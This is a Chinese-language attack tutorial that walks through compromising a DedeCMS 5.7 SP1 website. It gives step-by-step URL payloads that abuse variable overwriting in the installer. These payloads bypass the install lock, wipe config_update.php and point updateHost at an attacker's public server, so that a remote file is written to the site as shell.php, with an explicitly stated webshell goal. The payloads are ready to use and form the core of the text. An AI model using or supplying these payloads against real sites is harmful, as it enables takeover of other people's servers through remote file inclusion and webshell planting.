我们打开网站后可以看到是dedecms的网站,很明显
他的默认后台目录就是dede,这更加让我确定是dedecms了,而且还告诉我们了是dedecms5.7sp1的版本,我们可以去百度搜索一下这个版本的漏洞
我们继续,首先我们看一下他是否带了安装锁
发现有安装锁
我们直接通过变量覆盖的方式进行重装
payload:
http://域名或者ip地址/install/index.php?insLockfile=1
直接进入安装界面
我们这时只有变量覆盖还不够, 我们这样搞,
去代码审计一下,可以自己找一套源码来也可以去网上找一下教程
这段代码首先包含了/data/admin/config_update.php文件, 这里定义了变量updateHost
$updateHost与dedecms/demodata.{$a_lang}.txt拼接为字符串,并利用files_get_contents函数读取demodata.{$s_lang}.txt文件内容,最后将该文件内容写入到$install_demo_name参数中。
因此我们可以结合上面的变量覆盖漏洞来进行远程文件包含,直接写webshell。
由于$updateHost变量是引入进来的,所以不能直接进行覆盖,需要先将config_update.php文件清空再包含。
这时候可以利用fopen函数来实现,可以看到fopen中的参数是w,会直接重写文件,而file_get_contents读取文件失败会返回NULL
然后利用fwrite函数,这里可以利用变量覆盖,将$s_lang随意取名成不存在的文件名, $install_demo_name指向”../data/admin/config_update.php”,为了程序能够执行到这里,需要将$step设置为11,这样就达到了清空config_update.php的目的。
原理讲解完毕,构造payload
http://ip或者域名/install/index.php?step=11&s_lang=test&install_demo_name=…/data/admin/config_update.php
这时我们通过审计代码得知这里有一个判断文件是否存在(也就是判断网站是否安装)的条件,通过变量覆盖漏洞将$insLockfile构造成任意不存在的文件就可以绕过这个条件的限制
我们再次构造payload进行测试
http://ip或者域名/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php
这时我们再次审计源码会得知config_update.php会发现已经变为0kb,空文件
config_update.php文件内容被清空之后,这时我们就可以控制updateHost参数了,这时我们就可以开始远程文件包含上传我们想要上传的文件了
我们在公网服务器创建一个dedecms文件夹,然后创建一个demodata.gb2312.txt,写入<?php phpinfo();?> ,然后开启web服务
再次构造payload, install_demo_name改为要上传的路径,updateHost改为远程目标机的IP
payload:
http://或者域名/install/index.php?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://你的公网ip地址
我们这时就可以进行访问页面了
phpinfo页面已经出来了,漏洞利用成功,我们下期见